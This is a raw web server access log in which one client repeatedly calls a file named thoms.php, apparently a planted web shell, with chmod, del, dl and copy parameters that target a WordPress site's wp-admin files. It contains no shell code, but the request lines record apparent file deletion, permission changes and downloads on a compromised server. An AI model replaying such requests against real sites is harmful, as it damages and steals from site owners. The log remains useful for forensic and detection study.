45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /bestzyx.com.tw/wp-admin/install.php HTTP/1.1" 200 600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?chmod=options-writing.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /bestzyx.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?del=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmenu.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fmenu.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?chmod=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /bestzyx.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?dl=update.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?dl=upgrade.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /bestzyx.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?chmod=users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?del=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-tags.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-tags.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /bestzyx.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?del=plugins.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /bestzyx.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:27 -0400] "GET /thoms.php?dl=custom-background.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?chmod=update.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /bestzyx.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /bestzyx.com.tw/wp-admin/css/ HTTP/1.1" 200 3648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?dl=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /bestzyx.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /bestzyx.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /bestzyx.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15920 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?chmod=custom-background.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?del=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?chmod=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?del=js&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=js&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-health.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsite-health.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fload-styles.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fload-styles.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?chmod=media-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fterm.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fterm.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?dl=widgets.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13462 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:29 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?dl=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28767 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?chmod=update-core.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?del=options-media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /bestzyx.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30213 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /bestzyx.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fexport.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fexport.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13039 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /bestzyx.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:30 -0400] "GET /thoms.php?del=press-this.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?dl=admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28780 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?chmod=media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?chmod=site-health.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /bestzyx.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?chmod=credits.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?dl=tools.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?del=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28773 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?del=edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28750 "http://163.245.207.76:443/thoms.php?del=edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /bestzyx.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /bestzyx.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:31 -0400] "GET /thoms.php?dl=install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?dl=install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprivacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fprivacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16114 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
